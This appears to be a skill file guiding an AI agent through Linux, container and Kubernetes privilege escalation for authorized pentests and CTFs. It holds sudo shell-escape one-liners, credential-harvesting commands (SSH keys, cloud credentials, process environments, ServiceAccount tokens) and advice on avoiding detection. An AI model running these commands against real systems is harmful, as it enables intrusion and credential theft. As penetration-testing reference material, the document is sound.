lockpick
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SKILL.md
Lockpick: Privilege Escalation & Post-Exploitation Assessment
Systematic privilege escalation methodology for authorized security assessments, CTF challenges, and penetration testing engagements. Covers Linux systems, containers, Kubernetes clusters, VPN infrastructure, and IaC credential exposure.
This skill is offensive - it assumes you have initial access and guides escalation to higher privileges. For defensive hardening and vulnerability scanning, use the security-audit skill instead.
When to use
- Authorized penetration testing engagements (with written scope)
- CTF challenges and security training labs (HTB, THM, PG, etc.)
- Post-exploitation enumeration after gaining initial shell access
- Red team exercises with defined rules of engagement
- Assessing your own infrastructure for privilege escalation paths
- Container escape and Kubernetes RBAC abuse testing
- VPN credential extraction and lateral movement assessment
When NOT to use
- Defensive security reviews or hardening (use security-audit)
- Application code vulnerability scanning / SAST (use security-audit)
- VPN setup, configuration, or troubleshooting (use networking)
- Firewall rule auditing (use firewall-appliance)
- Docker image hardening or Dockerfile review (use docker)
- Kubernetes manifest security review (use kubernetes)
- CI/CD pipeline security (use ci-cd)
- Without written authorization from the system owner
AI Self-Check
Before executing any technique or generating exploitation commands, verify:
- Authorization confirmed: written scope document or CTF/lab context established
- Target in scope: IP/hostname/namespace is within the authorized boundary
- No production data access: avoid reading actual user data beyond what's needed to prove access
- Evidence captured: command output logged for the report before moving on
- Cleanup planned: any files dropped, users created, or configs modified are tracked for removal
- No destructive actions: kernel exploits tested in lab first, no
rm -rf, no disk writes to critical paths - Architecture matched: exploit/payload matches target arch (
uname -m). x86_64 exploits don't work on ARM, 32-bit payloads fail on 64-bit-only systems - Reverse shells use authorized ports: listener IP and port match the engagement plan
- Current source checked: dated versions, CLI flags, API names, and support windows are verified against primary docs before repeating them
- Hidden state identified: local config, credentials, caches, contexts, branches, cluster targets, or previous runs are made explicit before acting
- Verification is real: final checks exercise the actual runtime, parser, service, or integration point instead of only linting prose or happy paths
- Authorization confirmed: scope, target, time window, and rules of engagement are explicit before privesc work
- Destructive paths avoided: exploit attempts preserve evidence and avoid persistence, data damage, or lateral movement unless explicitly authorized
Performance
- Run low-noise enumeration first; expensive scanners and brute-force tools require scope and rate limits.
- Capture command output as you go so repeated enumeration is unnecessary.
- Prioritize likely local privesc paths from kernel, sudo, SUID, services, containers, and writable paths before broad tool dumps.
Best Practices
- Keep CTF shortcuts out of real pentest guidance unless the user says it is a CTF.
- Document exact preconditions and proof for every privilege boundary crossed.
- Do not install persistence or cleanup evidence unless the engagement explicitly requires and authorizes it.
Workflow
Phase 1: Situational Awareness
Determine what you're working with before trying anything.
# Who am I, what can I do?
id && hostname && uname -a && cat /etc/*-release 2>/dev/null
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep -qiE 'docker|kubepods|containerd' && echo "CONTAINER" || echo "HOST"
ls -la /.dockerenv 2>/dev/null && echo "Docker container detected"
cat /proc/self/mountinfo | grep -q 'kubepods' && echo "Kubernetes pod detected"
# What's the network look like?
ip addr && ip route && ss -tulpn
Decision tree:
- Bare metal / VM -> Phase 2 (Linux privesc)
- Docker container -> Phase 5 (container breakout)
- Kubernetes pod -> Phase 6 (k8s privesc)
- Any of the above -> also check Phase 7 (VPN/secrets) and Phase 8 (IaC)
Phase 2: Linux Privilege Escalation
Core Linux privesc methodology. Start with automated enumeration, then work through manual techniques.
Sudo GTFOBins quick-reference (top-5 CTF patterns, inline):
sudo vim -> :!bash (or :set shell=/bin/bash :shell)
sudo less -> !bash
sudo find -> sudo find / -name x -exec /bin/bash \;
sudo awk -> sudo awk 'BEGIN {system("/bin/bash")}'
sudo nmap -> sudo nmap --interactive (then !sh) [older nmap only]
Run sudo -l first - if any of these appear, escalation is one command away.
Read references/linux-privesc.md for the full technique library
covering:
- Automated enumeration - LinPEAS, pspy, Linux Exploit Suggester
- Sudo abuse -
sudo -lmisconfigs, GTFOBins, LD_PRELOAD, env_keep - SUID/SGID binaries - find + exploit via GTFOBins
- Linux capabilities -
getcap, cap_setuid, cap_dac_read_search - Cron jobs - writable scripts, PATH hijacking in cron context
- Kernel exploits - version-matched CVEs (Dirty Pipe, nf_tables, io_uring, OverlayFS)
- PATH hijacking - SUID binaries calling relative commands
- NFS - no_root_squash exploitation
- Writable files - /etc/passwd, /etc/shadow, authorized_keys, systemd units
- Wildcard injection - tar, chown, rsync with wildcards in cron/scripts
Priority order: sudo > SUID > capabilities > cron > writable files > kernel exploits. Kernel exploits are last resort - they can crash the system.
Phase 3: Credential Harvesting
After initial enumeration, sweep for credentials before escalating.
# History files
cat ~/.bash_history ~/.zsh_history ~/.mysql_history 2>/dev/null
# Config files with passwords
grep -rils 'password\|passwd\|pass\|secret\|token\|key\|api' \
/etc/ /opt/ /var/ /home/ /root/ 2>/dev/null | head -30
# SSH keys
find / -name 'id_rsa' -o -name 'id_ed25519' -o -name 'id_ecdsa' \
-o -name '*.pem' -o -name '*.key' 2>/dev/null
# Database credentials
cat /etc/mysql/debian.cnf 2>/dev/null
cat /var/www/*/wp-config.php 2>/dev/null
grep -r 'DATABASE_URL\|DB_PASS\|POSTGRES_PASSWORD' /opt/ /srv/ /var/ 2>/dev/null
# Cloud credentials
cat ~/.aws/credentials ~/.config/gcloud/credentials.db 2>/dev/null
env | grep -iE 'aws|azure|gcp|cloud|token|key|secret|pass'
# Process memory (credentials in running services)
# Read environ of interesting processes (web servers, databases, agents)
for pid in $(pgrep -f 'nginx\|apache\|postgres\|mysql\|node\|python\|java' 2>/dev/null); do
echo "=== PID $pid ($(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ')) ==="
cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'pass|secret|token|key|dsn|database_url'
done
Phase 4: VPN & Tunnel Credential Extraction
Check for VPN configurations that reveal keys, topology, or credentials for lateral movement.
Read references/vpn-iac-secrets.md for the full technique library
covering:
- WireGuard -
/etc/wireguard/*.confprivate key extraction, peer topology mapping, AllowedIPs as network map, PreUp/PostUp script injection - OpenVPN -
.ovpnembedded certs/keys,auth-user-passcredential files, management interface abuse (port 7505), plugin loading (CVE-2024-27903 chain) - IPsec -
/etc/ipsec.secretsPSK/RSA extraction,ike-scanaggressive mode hash capture + offline cracking, swanctl credential theft - SSH agent hijacking -
SSH_AUTH_SOCKsocket theft from other users, key injection, tunnel pivoting (-L,-R,-D)
Phase 5: Container Breakout
If you're inside a container, look for escape vectors. The --privileged flag is the critical enabler - it disables all security mechanisms (seccomp, AppArmor, capability drops, device cgroup) and grants full access to host devices. A privileged container is effectively root on the host.
Read references/container-breakout.md for the full technique library
covering:
- Docker socket - mounted
/var/run/docker.sock-> full host access - Privileged mode -
--privileged-> mount host filesystems, load kernel modules - Dangerous capabilities - SYS_ADMIN (cgroup escape), SYS_PTRACE (process injection), DAC_READ_SEARCH (shocker), SYS_MODULE
- Host mounts -
/host,/mnt, or host paths mounted into container - Docker group - user in
dockergroup = effective root - Runtime CVEs - runc (CVE-2024-21626 Leaky Vessels), containerd, BuildKit
- cgroup escape - v1 release_agent abuse (CVE-2022-0492), notify_on_release
- Namespace escape - nsenter, /proc/1/root, user namespace breakout
Quick check:
# Am I privileged?
ip link add dummy0 type dummy 2>/dev/null && echo "PRIVILEGED" && ip link del dummy0
# Docker socket?
ls -la /var/run/docker.sock 2>/dev/null
# Capabilities?
cat /proc/self/status | grep -i capeff
# capsh if available
capsh --print 2>/dev/null
# Host mount?
mount | grep -E '^/dev/' | grep -v 'overlay'
Phase 6: Kubernetes Privilege Escalation
If you're inside a k8s pod or have access to a kubeconfig.
Read references/kubernetes-privesc.md for the full technique library
covering:
- ServiceAccount token - auto-mounted at
/var/run/secrets/kubernetes.io/serviceaccount/, API access, token scoping (pre/post 1.24) - RBAC abuse - wildcard permissions, escalate/bind verbs, create pods + get secrets, impersonation
- Pod creation - schedule privileged pods, hostPath mounts, node selectors
- etcd direct access - default port 2379, client cert theft, secret extraction
- Kubelet API - anonymous auth on 10250, exec into any pod, node-level access
- Node-to-cluster - kubeconfig files, static pod manifests, CNI creds, cloud IMDS
- Pod Security bypass - namespace label manipulation, admission controller gaps
Quick check from inside a pod:
# ServiceAccount token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
APISERVER="https://kubernetes.default.svc"
# What can I do?
curl -sk "$APISERVER/apis" -H "Authorization: Bearer $TOKEN" | head -20
# Can I list secrets?
curl -sk "$APISERVER/api/v1/secrets" -H "Authorization: Bearer $TOKEN"
# Can I create pods?
curl -sk "$APISERVER/api/v1/namespaces/default/pods" \
-H "Authorization: Bearer $TOKEN" -X POST -H "Content-Type: application/json" \
-d '{}' 2>&1 | grep -o '"message":"[^"]*"'
Phase 7: IaC & Cloud Credential Exposure
Sweep the filesystem for infrastructure-as-code secrets.
Read references/vpn-iac-secrets.md (IaC Secrets section) for the full
technique library covering:
- Terraform -
terraform.tfstatecontains plaintext secrets,.terraform/provider creds,TF_VAR_*env vars, remote state backend credentials - Ansible - vault cracking (
ansible2john+ hashcat -m 16900), plaintextgroup_vars/, vault password files, inventory SSH keys - Cloud IMDS - AWS
169.254.169.254, GCPmetadata.google.internal, Azure metadata headers, IMDSv2 bypass, Kubernetes pod-to-IMDS access - kubeconfig files -
~/.kube/config,/etc/kubernetes/admin.conf, embedded certs/tokens - Sealed Secrets - controller private key = decrypt everything
- CI/CD credentials -
.envfiles, runner tokens, registry credentials
Phase 8: Lateral Movement & Pivoting
Once you've escalated, pivot to other systems.
Read references/shells-and-pivoting.md for:
- Reverse shells - bash, python, perl, netcat, php, ruby, powershell
- SSH tunneling - local forwarding (-L), remote forwarding (-R), dynamic SOCKS (-D), ProxyJump chains
- SSH agent hijacking - stealing SSH_AUTH_SOCK from other users for key reuse
- Port forwarding - chisel, ligolo-ng, socat, SSH as SOCKS proxy
- Internal network scanning - quick TCP sweep without nmap
- File transfer - curl, wget, nc, python http.server, base64 encoding
Enumeration Quick Reference
| Vector | Command |
|---|---|
| Kernel version | uname -r |
| Current user | id |
| Sudo rights | sudo -l |
| SUID binaries | find / -perm -u=s -type f 2>/dev/null |
| SGID binaries | find / -perm -g=s -type f 2>/dev/null |
| Capabilities | getcap -r / 2>/dev/null |
| Cron jobs | cat /etc/crontab; ls -la /etc/cron.* |
| Cron (live) | pspy (no root needed, watches /proc) |
| Writable dirs | find / -writable -type d 2>/dev/null |
| Writable files | find /etc -writable -type f 2>/dev/null |
| NFS exports | cat /etc/exports |
| WireGuard | ls /etc/wireguard/; wg show 2>/dev/null |
| OpenVPN | find / -name '*.ovpn' 2>/dev/null |
| IPsec secrets | cat /etc/ipsec.secrets 2>/dev/null |
| SSH keys | find / -name 'id_*' -o -name '*.pem' 2>/dev/null |
| Docker socket | ls -la /var/run/docker.sock 2>/dev/null |
| K8s SA token | cat /var/run/secrets/kubernetes.io/serviceaccount/token |
| Container? | cat /proc/1/cgroup 2>/dev/null | grep -qiE docker|kube |
| Cloud IMDS | curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null |
| Terraform state | find / -name 'terraform.tfstate*' 2>/dev/null |
| Ansible vault | grep -rl '\$ANSIBLE_VAULT' / 2>/dev/null |
Tools
| Tool | Purpose | Source |
|---|---|---|
| LinPEAS | Automated Linux enumeration | PEASS-ng |
| pspy | Process snooping without root | pspy |
| Linux Exploit Suggester | Kernel exploit matching | les |
| GTFOBins | SUID/sudo/cap binary abuse | gtfobins.github.io |
| CDK | Container/K8s pentest toolkit | CDK |
| deepce | Docker enumeration/escape | deepce |
| kubectl-who-can | RBAC permission checker | kubectl-who-can |
| kube-hunter | K8s cluster vulnerability scan | kube-hunter |
| Peirates | K8s pentest tool | peirates |
| kubeletctl | Kubelet API interaction | kubeletctl |
| ike-scan | IKE/IPsec enumeration + PSK capture | ike-scan |
| chisel | TCP/UDP tunnel over HTTP | chisel |
| ligolo-ng | Tunneling with TUN interface | ligolo-ng |
Reference Files
references/linux-privesc.md- core Linux privesc techniques (sudo, SUID, cron, capabilities, kernel exploits, PATH hijack, NFS, wildcards)references/container-breakout.md- Docker and container escape techniques (socket, privileged, capabilities, cgroups, runtime CVEs)references/kubernetes-privesc.md- Kubernetes RBAC abuse, ServiceAccount exploitation, etcd, kubelet, pod creation, PSS bypassreferences/vpn-iac-secrets.md- VPN credential extraction (WireGuard, OpenVPN, IPsec) and IaC secrets exposure (Terraform, Ansible, cloud IMDS)references/shells-and-pivoting.md- reverse shells, SSH tunneling, agent hijacking, port forwarding, file transfer
Scope Boundaries
Windows targets: This skill covers Linux, containers, and Kubernetes. Windows privilege escalation (token impersonation, SeImpersonatePrivilege, PrintSpoofer, AD abuse, Kerberoasting) is a separate domain not covered here. For Windows CTF/pentest, research Windows-specific tooling (WinPEAS, PowerUp, Rubeus, BloodHound) directly.
Evidence Capture Template
Rule 4 says document everything. Use this structure per finding:
## Finding: [short name]
- **Vector**: [sudo/SUID/cron/container/k8s/kernel/etc.]
- **Access before**: [user/group, e.g., www-data]
- **Access after**: [user/group, e.g., root]
- **Steps**: [numbered list of exact commands run]
- **Proof**: [command output showing escalated access, e.g., id, whoami, cat /root/proof.txt]
- **Cleanup**: [files created, users added, configs changed - and how to reverse]
- **Remediation**: [what the defender should fix]
Capture script -q /tmp/session.log at the start of each engagement to get a full terminal transcript.
Output Contract
See skills/_shared/output-contract.md for the full contract.
- Skill name: LOCKPICK
- Deliverable bucket:
audits - Mode: conditional. When invoked to analyze, review, audit, or improve existing repo content, emit the full contract -- boxed inline header, body summary inline plus per-finding detail in the deliverable file, boxed conclusion, conclusion table -- and write the deliverable to
docs/local/audits/lockpick/<YYYY-MM-DD>-<slug>.md. When invoked to answer a question, teach a concept, build a new artifact, or generate content, respond freely without the contract. - Severity scale:
P0 | P1 | P2 | P3 | info(see shared contract; only used in audit/review mode).
Related Skills
- security-audit - defensive counterpart. Finds vulnerabilities through SAST, dependency scanning, and config review. This skill exploits them. Use security-audit for hardening; use lockpick for proving exploitability.
- networking - configures and troubleshoots VPNs, DNS, proxies, firewalls. Lockpick's VPN section extracts credentials and keys from existing configs for lateral movement. Use networking for setup; use lockpick for exploitation.
- kubernetes - writes and reviews k8s manifests and Helm charts. Lockpick's k8s section attacks the cluster from inside a compromised pod. Use kubernetes for building; use lockpick for breaking.
- docker - Dockerfile and Compose authoring. Lockpick's container section escapes from running containers. Use docker for building images; use lockpick for escaping them.
- firewall-appliance - OPNsense/pfSense firewall management. Lockpick doesn't cover network-level firewall testing.
- ansible - playbook and role authoring. Lockpick's IaC section targets Ansible vault cracking and credential extraction, not playbook writing.
- terraform - IaC authoring. Lockpick's IaC section targets state file secret extraction, not Terraform module design.
Rules
- Authorization is non-negotiable. Every technique requires written authorization or a CTF/lab context. No exceptions, no "it's my own box" without explicit confirmation.
- Enumerate before exploiting. Run through the full enumeration checklist before attempting kernel exploits or destructive techniques. The easy wins (sudo, SUID, cron) are safer and more reliable.
- Kernel exploits are last resort. They can crash the system, corrupt memory, or trigger panic. Try everything else first. Test in a lab environment when possible.
- Document everything. Capture command output before moving to the next technique. Evidence of the escalation path is the deliverable, not just root access.
- Clean up after yourself. Track files created, users added, configs modified. Remove them at the end of the engagement or note them for the client.
- Don't access unnecessary data. Proving root access doesn't require reading actual user data. A
whoamior/root/proof.txtis enough. - Stay in scope. Lateral movement to systems outside the authorized boundary is out of scope unless explicitly permitted.
- Prefer living off the land. Use tools already on the system before uploading custom binaries. Less forensic footprint, fewer detection triggers.
Related skills